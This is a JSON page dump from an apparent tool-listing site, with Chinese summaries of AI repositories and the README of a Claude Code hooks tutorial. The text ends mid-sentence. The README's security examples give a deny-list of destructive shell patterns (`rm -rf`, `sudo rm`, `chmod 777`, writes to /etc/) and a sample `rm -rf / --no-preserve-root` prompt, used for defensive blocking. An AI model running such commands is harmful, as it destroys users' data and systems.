[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"similar-disler--claude-code-hooks-mastery":3,"tool-disler--claude-code-hooks-mastery":61},[4,18,26,36,44,53],{"id":5,"name":6,"github_repo":7,"description_zh":8,"stars":9,"difficulty_score":10,"last_commit_at":11,"category_tags":12,"status":17},4358,"openclaw","openclaw\u002Fopenclaw","OpenClaw 是一款专为个人打造的本地化 AI 助手，旨在让你在自己的设备上拥有完全可控的智能伙伴。它打破了传统 AI 助手局限于特定网页或应用的束缚，能够直接接入你日常使用的各类通讯渠道，包括微信、WhatsApp、Telegram、Discord、iMessage 等数十种平台。无论你在哪个聊天软件中发送消息，OpenClaw 都能即时响应，甚至支持在 macOS、iOS 和 Android 设备上进行语音交互，并提供实时的画布渲染功能供你操控。\n\n这款工具主要解决了用户对数据隐私、响应速度以及“始终在线”体验的需求。通过将 AI 部署在本地，用户无需依赖云端服务即可享受快速、私密的智能辅助，真正实现了“你的数据，你做主”。其独特的技术亮点在于强大的网关架构，将控制平面与核心助手分离，确保跨平台通信的流畅性与扩展性。\n\nOpenClaw 非常适合希望构建个性化工作流的技术爱好者、开发者，以及注重隐私保护且不愿被单一生态绑定的普通用户。只要具备基础的终端操作能力（支持 macOS、Linux 及 Windows WSL2），即可通过简单的命令行引导完成部署。如果你渴望拥有一个懂你",349277,3,"2026-04-06T06:32:30",[13,14,15,16],"Agent","开发框架","图像","数据工具","ready",{"id":19,"name":20,"github_repo":21,"description_zh":22,"stars":23,"difficulty_score":10,"last_commit_at":24,"category_tags":25,"status":17},3808,"stable-diffusion-webui","AUTOMATIC1111\u002Fstable-diffusion-webui","stable-diffusion-webui 是一个基于 Gradio 构建的网页版操作界面，旨在让用户能够轻松地在本地运行和使用强大的 Stable Diffusion 图像生成模型。它解决了原始模型依赖命令行、操作门槛高且功能分散的痛点，将复杂的 AI 绘图流程整合进一个直观易用的图形化平台。\n\n无论是希望快速上手的普通创作者、需要精细控制画面细节的设计师，还是想要深入探索模型潜力的开发者与研究人员，都能从中获益。其核心亮点在于极高的功能丰富度：不仅支持文生图、图生图、局部重绘（Inpainting）和外绘（Outpainting）等基础模式，还独创了注意力机制调整、提示词矩阵、负向提示词以及“高清修复”等高级功能。此外，它内置了 GFPGAN 和 CodeFormer 等人脸修复工具，支持多种神经网络放大算法，并允许用户通过插件系统无限扩展能力。即使是显存有限的设备，stable-diffusion-webui 也提供了相应的优化选项，让高质量的 AI 艺术创作变得触手可及。",162132,"2026-04-05T11:01:52",[14,15,13],{"id":27,"name":28,"github_repo":29,"description_zh":30,"stars":31,"difficulty_score":32,"last_commit_at":33,"category_tags":34,"status":17},1381,"everything-claude-code","affaan-m\u002Feverything-claude-code","everything-claude-code 是一套专为 AI 编程助手（如 Claude Code、Codex、Cursor 等）打造的高性能优化系统。它不仅仅是一组配置文件，而是一个经过长期实战打磨的完整框架，旨在解决 AI 代理在实际开发中面临的效率低下、记忆丢失、安全隐患及缺乏持续学习能力等核心痛点。\n\n通过引入技能模块化、直觉增强、记忆持久化机制以及内置的安全扫描功能，everything-claude-code 能显著提升 AI 在复杂任务中的表现，帮助开发者构建更稳定、更智能的生产级 AI 代理。其独特的“研究优先”开发理念和针对 Token 消耗的优化策略，使得模型响应更快、成本更低，同时有效防御潜在的攻击向量。\n\n这套工具特别适合软件开发者、AI 研究人员以及希望深度定制 AI 工作流的技术团队使用。无论您是在构建大型代码库，还是需要 AI 协助进行安全审计与自动化测试，everything-claude-code 都能提供强大的底层支持。作为一个曾荣获 Anthropic 黑客大奖的开源项目，它融合了多语言支持与丰富的实战钩子（hooks），让 AI 真正成长为懂上",144730,2,"2026-04-07T23:26:32",[14,13,35],"语言模型",{"id":37,"name":38,"github_repo":39,"description_zh":40,"stars":41,"difficulty_score":32,"last_commit_at":42,"category_tags":43,"status":17},2271,"ComfyUI","Comfy-Org\u002FComfyUI","ComfyUI 是一款功能强大且高度模块化的视觉 AI 引擎，专为设计和执行复杂的 Stable Diffusion 图像生成流程而打造。它摒弃了传统的代码编写模式，采用直观的节点式流程图界面，让用户通过连接不同的功能模块即可构建个性化的生成管线。\n\n这一设计巧妙解决了高级 AI 绘图工作流配置复杂、灵活性不足的痛点。用户无需具备编程背景，也能自由组合模型、调整参数并实时预览效果，轻松实现从基础文生图到多步骤高清修复等各类复杂任务。ComfyUI 拥有极佳的兼容性，不仅支持 Windows、macOS 和 Linux 全平台，还广泛适配 NVIDIA、AMD、Intel 及苹果 Silicon 等多种硬件架构，并率先支持 SDXL、Flux、SD3 等前沿模型。\n\n无论是希望深入探索算法潜力的研究人员和开发者，还是追求极致创作自由度的设计师与资深 AI 绘画爱好者，ComfyUI 都能提供强大的支持。其独特的模块化架构允许社区不断扩展新功能，使其成为当前最灵活、生态最丰富的开源扩散模型工具之一，帮助用户将创意高效转化为现实。",107888,"2026-04-06T11:32:50",[14,15,13],{"id":45,"name":46,"github_repo":47,"description_zh":48,"stars":49,"difficulty_score":32,"last_commit_at":50,"category_tags":51,"status":17},4721,"markitdown","microsoft\u002Fmarkitdown","MarkItDown 是一款由微软 AutoGen 团队打造的轻量级 Python 工具，专为将各类文件高效转换为 Markdown 格式而设计。它支持 PDF、Word、Excel、PPT、图片（含 OCR）、音频（含语音转录）、HTML 乃至 YouTube 链接等多种格式的解析，能够精准提取文档中的标题、列表、表格和链接等关键结构信息。\n\n在人工智能应用日益普及的今天，大语言模型（LLM）虽擅长处理文本，却难以直接读取复杂的二进制办公文档。MarkItDown 恰好解决了这一痛点，它将非结构化或半结构化的文件转化为模型“原生理解”且 Token 效率极高的 Markdown 格式，成为连接本地文件与 AI 分析 pipeline 的理想桥梁。此外，它还提供了 MCP（模型上下文协议）服务器，可无缝集成到 Claude Desktop 等 LLM 应用中。\n\n这款工具特别适合开发者、数据科学家及 AI 研究人员使用，尤其是那些需要构建文档检索增强生成（RAG）系统、进行批量文本分析或希望让 AI 助手直接“阅读”本地文件的用户。虽然生成的内容也具备一定可读性，但其核心优势在于为机器",93400,"2026-04-06T19:52:38",[52,14],"插件",{"id":54,"name":55,"github_repo":56,"description_zh":57,"stars":58,"difficulty_score":10,"last_commit_at":59,"category_tags":60,"status":17},4487,"LLMs-from-scratch","rasbt\u002FLLMs-from-scratch","LLMs-from-scratch 是一个基于 PyTorch 的开源教育项目，旨在引导用户从零开始一步步构建一个类似 ChatGPT 的大型语言模型（LLM）。它不仅是同名技术著作的官方代码库，更提供了一套完整的实践方案，涵盖模型开发、预训练及微调的全过程。\n\n该项目主要解决了大模型领域“黑盒化”的学习痛点。许多开发者虽能调用现成模型，却难以深入理解其内部架构与训练机制。通过亲手编写每一行核心代码，用户能够透彻掌握 Transformer 架构、注意力机制等关键原理，从而真正理解大模型是如何“思考”的。此外，项目还包含了加载大型预训练权重进行微调的代码，帮助用户将理论知识延伸至实际应用。\n\nLLMs-from-scratch 特别适合希望深入底层原理的 AI 开发者、研究人员以及计算机专业的学生。对于不满足于仅使用 API，而是渴望探究模型构建细节的技术人员而言，这是极佳的学习资源。其独特的技术亮点在于“循序渐进”的教学设计：将复杂的系统工程拆解为清晰的步骤，配合详细的图表与示例，让构建一个虽小但功能完备的大模型变得触手可及。无论你是想夯实理论基础，还是为未来研发更大规模的模型做准备",90106,"2026-04-06T11:19:32",[35,15,13,14],{"id":62,"github_repo":63,"name":64,"description_en":65,"description_zh":66,"ai_summary_zh":66,"readme_en":67,"readme_zh":68,"quickstart_zh":69,"use_case_zh":70,"hero_image_url":71,"owner_login":72,"owner_name":73,"owner_avatar_url":74,"owner_bio":75,"owner_company":76,"owner_location":76,"owner_email":76,"owner_twitter":76,"owner_website":76,"owner_url":77,"languages":78,"stars":87,"forks":88,"last_commit_at":89,"license":76,"difficulty_score":32,"env_os":90,"env_gpu":91,"env_ram":91,"env_deps":92,"category_tags":100,"github_topics":76,"view_count":32,"oss_zip_url":76,"oss_zip_packed_at":76,"status":17,"created_at":101,"updated_at":102,"faqs":103,"releases":104},5423,"disler\u002Fclaude-code-hooks-mastery","claude-code-hooks-mastery","Master Claude Code Hooks","claude-code-hooks-mastery 是一套专为 Anthropic Claude Code 命令行工具设计的实战指南与代码库，旨在帮助开发者彻底掌握\"Hooks（钩子）”机制。它解决了用户在自动化工作流中难以精确干预 AI 行为、缺乏对工具执行过程进行确定性控制的痛点。通过捕获从会话启动、用户提示提交到工具调用前后等全生命周期的 13 个关键事件，该项目让用户能够灵活注入自定义逻辑，实现安全过滤、上下文增强及复杂的流程编排。\n\n该资源特别适合希望深度定制 AI 代理行为的软件工程师、DevOps 专家及 AI 应用研究者。其技术亮点不仅在于详细解析了每个钩子的触发时机与数据载荷，还引入了“子代理（Sub-Agents）”协作、“元代理（Meta-Agent）”架构以及基于团队的验证系统，展示了如何构建多智能体协同的高级场景。此外，项目采用高效的 UV 单文件脚本架构，并集成了语音合成、网页抓取等 MCP 服务器示例，为构建生产级的 AI 自动化系统提供了清晰的路径和可复用的最佳实践。","# Claude Code Hooks Mastery\n\n[Claude Code Hooks](https:\u002F\u002Fdocs.anthropic.com\u002Fen\u002Fdocs\u002Fclaude-code\u002Fhooks) - Quickly master how to use Claude Code hooks to add deterministic (or non-deterministic) control over Claude Code's behavior. Plus learn about [Claude Code Sub-Agents](#claude-code-sub-agents), the powerful [Meta-Agent](#the-meta-agent), and [Team-Based Validation](#team-based-validation-system) with agent orchestration.\n\n\u003Cimg src=\"https:\u002F\u002Foss.gittoolsai.com\u002Fimages\u002Fdisler_claude-code-hooks-mastery_readme_ab6f294773a5.png\" alt=\"Claude Code Hooks\" style=\"max-width: 800px; width: 100%;\" \u002F>\n\n## Table of Contents\n\n- [Prerequisites](#prerequisites)\n- [Hook Lifecycle & Payloads](#hook-lifecycle--payloads)\n- [What This Shows](#what-this-shows)\n- [UV Single-File Scripts Architecture](#uv-single-file-scripts-architecture)\n- [Key Files](#key-files)\n- [Features Demonstrated](#features-demonstrated)\n- [Hook Error Codes & Flow Control](#hook-error-codes--flow-control)\n- [UserPromptSubmit Hook Deep Dive](#userpromptsubmit-hook-deep-dive)\n- [Claude Code Sub-Agents](#claude-code-sub-agents)\n- [Team-Based Validation System](#team-based-validation-system)\n- [Output Styles Collection](#output-styles-collection)\n- [Custom Status Lines](#custom-status-lines)\n\n## Prerequisites\n\nThis requires:\n- **[Astral UV](https:\u002F\u002Fdocs.astral.sh\u002Fuv\u002Fgetting-started\u002Finstallation\u002F)** - Fast Python package installer and resolver\n- **[Claude Code](https:\u002F\u002Fdocs.anthropic.com\u002Fen\u002Fdocs\u002Fclaude-code)** - Anthropic's CLI for Claude AI\n\n### Optional Setup:\n\nOptional:\n- **[ElevenLabs](https:\u002F\u002Felevenlabs.io\u002F)** - Text-to-speech provider (with MCP server integration)\n- **[ElevenLabs MCP Server](https:\u002F\u002Fgithub.com\u002Felevenlabs\u002Felevenlabs-mcp)** - MCP server for ElevenLabs\n- **[Firecrawl MCP Server](https:\u002F\u002Fwww.firecrawl.dev\u002Fmcp)** - Web scraping and crawling MCP server (my favorite scraper)\n- **[OpenAI](https:\u002F\u002Fopenai.com\u002F)** - Language model provider + Text-to-speech provider\n- **[Anthropic](https:\u002F\u002Fwww.anthropic.com\u002F)** - Language model provider\n- **[Ollama](https:\u002F\u002Follama.com\u002F)** - Local language model provider\n\n## Hook Lifecycle & Payloads\n\nThis demo captures all 13 Claude Code hook lifecycle events with their JSON payloads:\n\n### Hook Lifecycle Overview\n\n```mermaid\nflowchart TB\n    subgraph SESSION[\"🟢 Session Lifecycle\"]\n        direction TB\n        SETUP[[\"🔧 Setup\u003Cbr\u002F>(init\u002Fmaintenance)\"]]\n        START[[\"▶️ SessionStart\u003Cbr\u002F>(startup\u002Fresume\u002Fclear)\"]]\n        END[[\"⏹️ SessionEnd\u003Cbr\u002F>(exit\u002Fsigint\u002Ferror)\"]]\n    end\n\n    subgraph MAIN[\"🔄 Main Conversation Loop\"]\n        direction TB\n        PROMPT[[\"📝 UserPromptSubmit\"]]\n        CLAUDE[\"Claude Processes\"]\n\n        subgraph TOOLS[\"🛠️ Tool Execution\"]\n            direction TB\n            PRE[[\"🔒 PreToolUse\"]]\n            PERM[[\"❓ PermissionRequest\"]]\n            EXEC[\"Tool Executes\"]\n            POST[[\"✅ PostToolUse\"]]\n            FAIL[[\"❌ PostToolUseFailure\"]]\n        end\n\n        subgraph SUBAGENT[\"🤖 Subagent Lifecycle\"]\n            direction TB\n            SSTART[[\"🚀 SubagentStart\"]]\n            SWORK[\"Subagent Works\"]\n            SSTOP[[\"🏁 SubagentStop\"]]\n        end\n\n        NOTIFY[[\"🔔 Notification\u003Cbr\u002F>(Async)\"]]\n        STOP[[\"🛑 Stop\"]]\n    end\n\n    subgraph COMPACT[\"🗜️ Maintenance\"]\n        PRECOMPACT[[\"📦 PreCompact\"]]\n    end\n\n    SETUP --> START\n    START --> PROMPT\n    PROMPT --> CLAUDE\n    CLAUDE --> PRE\n    PRE --> PERM\n    PERM --> EXEC\n    EXEC --> POST\n    EXEC -.-> FAIL\n    CLAUDE -.-> SSTART\n    SSTART --> SWORK\n    SWORK --> SSTOP\n    POST --> CLAUDE\n    CLAUDE --> STOP\n    CLAUDE -.-> NOTIFY\n    STOP --> PROMPT\n    STOP -.-> END\n    PROMPT -.-> PRECOMPACT\n    PRECOMPACT -.-> PROMPT\n```\n\n### 1. UserPromptSubmit Hook\n**Fires:** Immediately when user submits a prompt (before Claude processes it)  \n**Payload:** `prompt` text, `session_id`, timestamp  \n**Enhanced:** Prompt validation, logging, context injection, security filtering\n\n### 2. PreToolUse Hook\n**Fires:** Before any tool execution  \n**Payload:** `tool_name`, `tool_input` parameters  \n**Enhanced:** Blocks dangerous commands (`rm -rf`, `.env` access)\n\n### 3. PostToolUse Hook  \n**Fires:** After successful tool completion  \n**Payload:** `tool_name`, `tool_input`, `tool_response` with results\n\n### 4. Notification Hook\n**Fires:** When Claude Code sends notifications (waiting for input, etc.)  \n**Payload:** `message` content  \n**Enhanced:** TTS alerts - \"Your agent needs your input\" (30% chance includes name)\n\n### 5. Stop Hook\n**Fires:** When Claude Code finishes responding  \n**Payload:** `stop_hook_active` boolean flag  \n**Enhanced:** AI-generated completion messages with TTS playback (LLM priority: OpenAI > Anthropic > Ollama > random)\n\n### 6. SubagentStop Hook\n**Fires:** When Claude Code subagents (Task tools) finish responding  \n**Payload:** `stop_hook_active` boolean flag  \n**Enhanced:** TTS playback - \"Subagent Complete\"\n\n### 7. PreCompact Hook\n**Fires:** Before Claude Code performs a compaction operation  \n**Payload:** `trigger` (\"manual\" or \"auto\"), `custom_instructions` (for manual), session info  \n**Enhanced:** Transcript backup, verbose feedback for manual compaction\n\n### 8. SessionStart Hook\n**Fires:** When Claude Code starts a new session or resumes an existing one\n**Payload:** `source` (\"startup\", \"resume\", or \"clear\"), session info\n**Enhanced:** Development context loading (git status, recent issues, context files)\n\n### 9. SessionEnd Hook\n**Fires:** When Claude Code session ends (exit, sigint, or error)\n**Payload:** `session_id`, `transcript_path`, `cwd`, `permission_mode`, `reason`\n**Enhanced:** Session logging with optional cleanup tasks (removes temp files, stale logs)\n\n### 10. PermissionRequest Hook\n**Fires:** When user is shown a permission dialog\n**Payload:** `tool_name`, `tool_input`, `tool_use_id`, session info\n**Enhanced:** Permission auditing, auto-allow for read-only ops (Read, Glob, Grep, safe Bash)\n\n### 11. PostToolUseFailure Hook\n**Fires:** When a tool execution fails\n**Payload:** `tool_name`, `tool_input`, `tool_use_id`, `error` object\n**Enhanced:** Structured error logging with timestamps and full context\n\n### 12. SubagentStart Hook\n**Fires:** When a subagent (Task tool) spawns\n**Payload:** `agent_id`, `agent_type`, session info\n**Enhanced:** Subagent spawn logging with optional TTS announcement\n\n### 13. Setup Hook\n**Fires:** When Claude enters a repository (init) or periodically (maintenance)\n**Payload:** `trigger` (\"init\" or \"maintenance\"), session info\n**Enhanced:** Environment persistence via `CLAUDE_ENV_FILE`, context injection via `additionalContext`\n\n\n## What This Shows\n\n- **Complete hook lifecycle coverage** - All 13 hook events implemented and logging (11\u002F13 validated via automated testing)\n- **Prompt-level control** - UserPromptSubmit validates and enhances prompts before Claude sees them\n- **Intelligent TTS system** - AI-generated audio feedback with voice priority (ElevenLabs > OpenAI > pyttsx3)\n- **Security enhancements** - Blocks dangerous commands and sensitive file access at multiple levels\n- **Personalized experience** - Uses engineer name from environment variables\n- **Automatic logging** - All hook events are logged as JSON to `logs\u002F` directory\n- **Chat transcript extraction** - PostToolUse hook converts JSONL transcripts to readable JSON format\n- **Team-based validation** - Builder\u002FValidator agent pattern with code quality hooks\n\n> **Warning:** The `chat.json` file contains only the most recent Claude Code conversation. It does not preserve conversations from previous sessions - each new conversation is fully copied and overwrites the previous one. This is unlike the other logs which are appended to from every claude code session.\n\n## UV Single-File Scripts Architecture\n\nThis project leverages **[UV single-file scripts](https:\u002F\u002Fdocs.astral.sh\u002Fuv\u002Fguides\u002Fscripts\u002F)** to keep hook logic cleanly separated from your main codebase. All hooks live in `.claude\u002Fhooks\u002F` as standalone Python scripts with embedded dependency declarations.\n\n**Benefits:**\n- **Isolation** - Hook logic stays separate from your project dependencies\n- **Portability** - Each hook script declares its own dependencies inline\n- **No Virtual Environment Management** - UV handles dependencies automatically\n- **Fast Execution** - UV's dependency resolution is lightning-fast\n- **Self-Contained** - Each hook can be understood and modified independently\n\nThis approach ensures your hooks remain functional across different environments without polluting your main project's dependency tree.\n\n## Key Files\n\n- `.claude\u002Fsettings.json` - Hook configuration with permissions\n- `.claude\u002Fhooks\u002F` - Python scripts using uv for each hook type\n  - `user_prompt_submit.py` - Prompt validation, logging, and context injection\n  - `pre_tool_use.py` - Security blocking and logging\n  - `post_tool_use.py` - Logging and transcript conversion\n  - `post_tool_use_failure.py` - Error logging with structured details\n  - `notification.py` - Logging with optional TTS (--notify flag)\n  - `stop.py` - AI-generated completion messages with TTS\n  - `subagent_stop.py` - Simple \"Subagent Complete\" TTS\n  - `subagent_start.py` - Subagent spawn logging with optional TTS\n  - `pre_compact.py` - Transcript backup and compaction logging\n  - `session_start.py` - Development context loading and session logging\n  - `session_end.py` - Session cleanup and logging\n  - `permission_request.py` - Permission auditing and auto-allow\n  - `setup.py` - Repository initialization and maintenance\n  - `validators\u002F` - Code quality validation hooks\n    - `ruff_validator.py` - Python linting via Ruff (PostToolUse)\n    - `ty_validator.py` - Python type checking (PostToolUse)\n  - `utils\u002F` - Intelligent TTS and LLM utility scripts\n    - `tts\u002F` - Text-to-speech providers (ElevenLabs, OpenAI, pyttsx3)\n      - `tts_queue.py` - Queue-based TTS management (prevents overlapping audio)\n    - `llm\u002F` - Language model integrations (OpenAI, Anthropic, Ollama)\n      - `task_summarizer.py` - LLM-powered task completion summaries\n- `.claude\u002Fstatus_lines\u002F` - Real-time terminal status displays\n  - `status_line.py` - Basic MVP with git info\n  - `status_line_v2.py` - Smart prompts with color coding\n  - `status_line_v3.py` - Agent sessions with history\n  - `status_line_v4.py` - Extended metadata support\n  - `status_line_v5.py` - Cost tracking with line changes\n  - `status_line_v6.py` - Context window usage bar\n  - `status_line_v7.py` - Session duration timer\n  - `status_line_v8.py` - Token usage with cache stats\n  - `status_line_v9.py` - Minimal powerline style\n- `.claude\u002Foutput-styles\u002F` - Response formatting configurations\n  - `genui.md` - Generates beautiful HTML with embedded styling\n  - `table-based.md` - Organizes information in markdown tables\n  - `yaml-structured.md` - YAML configuration format\n  - `bullet-points.md` - Clean nested lists\n  - `ultra-concise.md` - Minimal words, maximum speed\n  - `html-structured.md` - Semantic HTML5\n  - `markdown-focused.md` - Rich markdown features\n  - `tts-summary.md` - Audio feedback via TTS\n- `.claude\u002Fcommands\u002F` - Custom slash commands\n  - `prime.md` - Project analysis and understanding\n  - `plan_w_team.md` - Team-based build\u002Fvalidate workflow\n  - `crypto_research.md` - Cryptocurrency research workflows\n  - `cook.md` - Advanced task execution\n  - `update_status_line.md` - Dynamic status updates\n- `.claude\u002Fagents\u002F` - Sub-agent configurations\n  - `crypto\u002F` - Cryptocurrency analysis agents\n  - `team\u002F` - Team-based workflow agents\n    - `builder.md` - Implementation agent (all tools)\n    - `validator.md` - Read-only validation agent\n  - `hello-world-agent.md` - Simple greeting example\n  - `llm-ai-agents-and-eng-research.md` - AI research specialist\n  - `meta-agent.md` - Agent that creates other agents\n  - `work-completion-summary.md` - Audio summary generator\n- `logs\u002F` - JSON logs of all hook executions\n  - `user_prompt_submit.json` - User prompt submissions with validation\n  - `pre_tool_use.json` - Tool use events with security blocking\n  - `post_tool_use.json` - Tool completion events\n  - `post_tool_use_failure.json` - Tool failure events with error details\n  - `notification.json` - Notification events\n  - `stop.json` - Stop events with completion messages\n  - `subagent_stop.json` - Subagent completion events\n  - `subagent_start.json` - Subagent spawn events\n  - `pre_compact.json` - Pre-compaction events with trigger type\n  - `session_start.json` - Session start events with source type\n  - `session_end.json` - Session end events with reason\n  - `permission_request.json` - Permission request audit log\n  - `setup.json` - Setup events with trigger type\n  - `chat.json` - Readable conversation transcript (generated by --chat flag)\n- `ai_docs\u002F` - Documentation resources\n  - `cc_hooks_docs.md` - Complete hooks documentation from Anthropic\n  - `claude_code_status_lines_docs.md` - Status line input schema and configuration\n  - `user_prompt_submit_hook.md` - Comprehensive UserPromptSubmit hook documentation\n  - `uv-single-file-scripts.md` - UV script architecture documentation\n  - `anthropic_custom_slash_commands.md` - Slash commands documentation\n  - `anthropic_docs_subagents.md` - Sub-agents documentation\n- `ruff.toml` - Ruff linter configuration for Python code quality\n- `ty.toml` - Type checker configuration for Python type validation\n\nHooks provide deterministic control over Claude Code behavior without relying on LLM decisions.\n\n## Features Demonstrated\n\n- Prompt validation and security filtering\n- Context injection for enhanced AI responses\n- Command logging and auditing\n- Automatic transcript conversion  \n- Permission-based tool access control\n- Error handling in hook execution\n\nRun any Claude Code command to see hooks in action via the `logs\u002F` files.\n\n## Hook Error Codes & Flow Control\n\nClaude Code hooks provide powerful mechanisms to control execution flow and provide feedback through exit codes and structured JSON output.\n\n### Exit Code Behavior\n\nHooks communicate status and control flow through exit codes:\n\n| Exit Code | Behavior           | Description                                                                                  |\n| --------- | ------------------ | -------------------------------------------------------------------------------------------- |\n| **0**     | Success            | Hook executed successfully. `stdout` shown to user in transcript mode (Ctrl-R)               |\n| **2**     | Blocking Error     | **Critical**: `stderr` is fed back to Claude automatically. See hook-specific behavior below |\n| **Other** | Non-blocking Error | `stderr` shown to user, execution continues normally                                         |\n\n### Hook-Specific Flow Control\n\nEach hook type has different capabilities for blocking and controlling Claude Code's behavior:\n\n#### UserPromptSubmit Hook - **CAN BLOCK PROMPTS & ADD CONTEXT**\n- **Primary Control Point**: Intercepts user prompts before Claude processes them\n- **Exit Code 2 Behavior**: Blocks the prompt entirely, shows error message to user\n- **Use Cases**: Prompt validation, security filtering, context injection, audit logging\n- **Example**: Our `user_prompt_submit.py` logs all prompts and can validate them\n\n#### PreToolUse Hook - **CAN BLOCK TOOL EXECUTION**\n- **Primary Control Point**: Intercepts tool calls before they execute\n- **Exit Code 2 Behavior**: Blocks the tool call entirely, shows error message to Claude\n- **Use Cases**: Security validation, parameter checking, dangerous command prevention\n- **Example**: Our `pre_tool_use.py` blocks `rm -rf` commands with exit code 2\n\n```python\n# Block dangerous commands\nif is_dangerous_rm_command(command):\n    print(\"BLOCKED: Dangerous rm command detected\", file=sys.stderr)\n    sys.exit(2)  # Blocks tool call, shows error to Claude\n```\n\n#### PostToolUse Hook - **CANNOT BLOCK (Tool Already Executed)**\n- **Primary Control Point**: Provides feedback after tool completion\n- **Exit Code 2 Behavior**: Shows error to Claude (tool already ran, cannot be undone)\n- **Use Cases**: Validation of results, formatting, cleanup, logging\n- **Limitation**: Cannot prevent tool execution since it fires after completion\n\n#### Notification Hook - **CANNOT BLOCK**\n- **Primary Control Point**: Handles Claude Code notifications\n- **Exit Code 2 Behavior**: N\u002FA - shows stderr to user only, no blocking capability\n- **Use Cases**: Custom notifications, logging, user alerts\n- **Limitation**: Cannot control Claude Code behavior, purely informational\n\n#### Stop Hook - **CAN BLOCK STOPPING**\n- **Primary Control Point**: Intercepts when Claude Code tries to finish responding\n- **Exit Code 2 Behavior**: Blocks stoppage, shows error to Claude (forces continuation)\n- **Use Cases**: Ensuring tasks complete, validation of final state use this to FORCE CONTINUATION\n- **Caution**: Can cause infinite loops if not properly controlled\n\n#### SubagentStop Hook - **CAN BLOCK SUBAGENT STOPPING**\n- **Primary Control Point**: Intercepts when Claude Code subagents try to finish\n- **Exit Code 2 Behavior**: Blocks subagent stoppage, shows error to subagent\n- **Use Cases**: Ensuring subagent tasks complete properly\n- **Example**: Our `subagent_stop.py` logs events and announces completion\n\n#### PreCompact Hook - **CANNOT BLOCK**\n- **Primary Control Point**: Fires before compaction operations\n- **Exit Code 2 Behavior**: N\u002FA - shows stderr to user only, no blocking capability\n- **Use Cases**: Transcript backup, context preservation, pre-compaction logging\n- **Example**: Our `pre_compact.py` creates transcript backups before compaction\n\n#### SessionStart Hook - **CANNOT BLOCK**\n- **Primary Control Point**: Fires when new sessions start or resume\n- **Exit Code 2 Behavior**: N\u002FA - shows stderr to user only, no blocking capability\n- **Use Cases**: Loading development context, session initialization, environment setup\n- **Example**: Our `session_start.py` loads git status, recent issues, and context files\n\n### Advanced JSON Output Control\n\nBeyond simple exit codes, hooks can return structured JSON for sophisticated control:\n\n#### Common JSON Fields (All Hook Types)\n```json\n{\n  \"continue\": true,           \u002F\u002F Whether Claude should continue (default: true)\n  \"stopReason\": \"string\",     \u002F\u002F Message when continue=false (shown to user)\n  \"suppressOutput\": true      \u002F\u002F Hide stdout from transcript (default: false)\n}\n```\n\n#### PreToolUse Decision Control\n```json\n{\n  \"decision\": \"approve\" | \"block\" | undefined,\n  \"reason\": \"Explanation for decision\"\n}\n```\n\n- **\"approve\"**: Bypasses permission system, `reason` shown to user\n- **\"block\"**: Prevents tool execution, `reason` shown to Claude\n- **undefined**: Normal permission flow, `reason` ignored\n\n#### PostToolUse Decision Control\n```json\n{\n  \"decision\": \"block\" | undefined,\n  \"reason\": \"Explanation for decision\"\n}\n```\n\n- **\"block\"**: Automatically prompts Claude with `reason`\n- **undefined**: No action, `reason` ignored\n\n#### Stop Decision Control\n```json\n{\n  \"decision\": \"block\" | undefined,\n  \"reason\": \"Must be provided when blocking Claude from stopping\"\n}\n```\n\n- **\"block\"**: Prevents Claude from stopping, `reason` tells Claude how to proceed\n- **undefined**: Allows normal stopping, `reason` ignored\n\n### Flow Control Priority\n\nWhen multiple control mechanisms are used, they follow this priority:\n\n1. **`\"continue\": false`** - Takes precedence over all other controls\n2. **`\"decision\": \"block\"`** - Hook-specific blocking behavior\n3. **Exit Code 2** - Simple blocking via stderr\n4. **Other Exit Codes** - Non-blocking errors\n\n### Security Implementation Examples\n\n#### 1. Command Validation (PreToolUse)\n```python\n# Block dangerous patterns\ndangerous_patterns = [\n    r'rm\\s+.*-[rf]',           # rm -rf variants\n    r'sudo\\s+rm',              # sudo rm commands\n    r'chmod\\s+777',            # Dangerous permissions\n    r'>\\s*\u002Fetc\u002F',              # Writing to system directories\n]\n\nfor pattern in dangerous_patterns:\n    if re.search(pattern, command, re.IGNORECASE):\n        print(f\"BLOCKED: {pattern} detected\", file=sys.stderr)\n        sys.exit(2)\n```\n\n#### 2. Result Validation (PostToolUse)\n```python\n# Validate file operations\nif tool_name == \"Write\" and not tool_response.get(\"success\"):\n    output = {\n        \"decision\": \"block\",\n        \"reason\": \"File write operation failed, please check permissions and retry\"\n    }\n    print(json.dumps(output))\n    sys.exit(0)\n```\n\n#### 3. Completion Validation (Stop Hook)\n```python\n# Ensure critical tasks are complete\nif not all_tests_passed():\n    output = {\n        \"decision\": \"block\",\n        \"reason\": \"Tests are failing. Please fix failing tests before completing.\"\n    }\n    print(json.dumps(output))\n    sys.exit(0)\n```\n\n### Hook Execution Environment\n\n- **Timeout**: 60-second execution limit per hook\n- **Parallelization**: All matching hooks run in parallel\n- **Environment**: Inherits Claude Code's environment variables\n- **Working Directory**: Runs in current project directory\n- **Input**: JSON via stdin with session and tool data\n- **Output**: Processed via stdout\u002Fstderr with exit codes\n\n## UserPromptSubmit Hook Deep Dive\n\nThe UserPromptSubmit hook is the first line of defense and enhancement for Claude Code interactions. It fires immediately when you submit a prompt, before Claude even begins processing it.\n\n### What It Can Do\n\n1. **Log prompts** - Records every prompt with timestamp and session ID\n2. **Block prompts** - Exit code 2 prevents Claude from seeing the prompt\n3. **Add context** - Print to stdout adds text before your prompt that Claude sees\n4. **Validate content** - Check for dangerous patterns, secrets, policy violations\n\n### How It Works\n\n1. **You type a prompt** → Claude Code captures it\n2. **UserPromptSubmit hook fires** → Receives JSON with your prompt\n3. **Hook processes** → Can log, validate, block, or add context\n4. **Claude receives** → Either blocked message OR original prompt + any context\n\n### Example Use Cases\n\n#### 1. Audit Logging\nEvery prompt you submit is logged for compliance and debugging:\n\n```json\n{\n  \"timestamp\": \"2024-01-20T15:30:45.123Z\",\n  \"session_id\": \"550e8400-e29b-41d4-a716\",\n  \"prompt\": \"Delete all test files in the project\"\n}\n```\n\n#### 2. Security Validation\nDangerous prompts are blocked before Claude can act on them:\n\n```bash\nUser: \"rm -rf \u002F --no-preserve-root\"\nHook: BLOCKED: Dangerous system deletion command detected\n```\n\n#### 3. Context Injection\nAdd helpful context that Claude will see with the prompt:\n\n```bash\nUser: \"Write a new API endpoint\"\nHook adds: \"Project: E-commerce API\n           Standards: Follow REST conventions and OpenAPI 3.0\n           Generated at: 2024-01-20T15:30:45\"\nClaude sees: [Context above] + \"Write a new API endpoint\"\n```\n\n### Live Example\n\nTry these prompts to see UserPromptSubmit in action:\n\n1. **Normal prompt**: \"What files are in this directory?\"\n   - Logged to 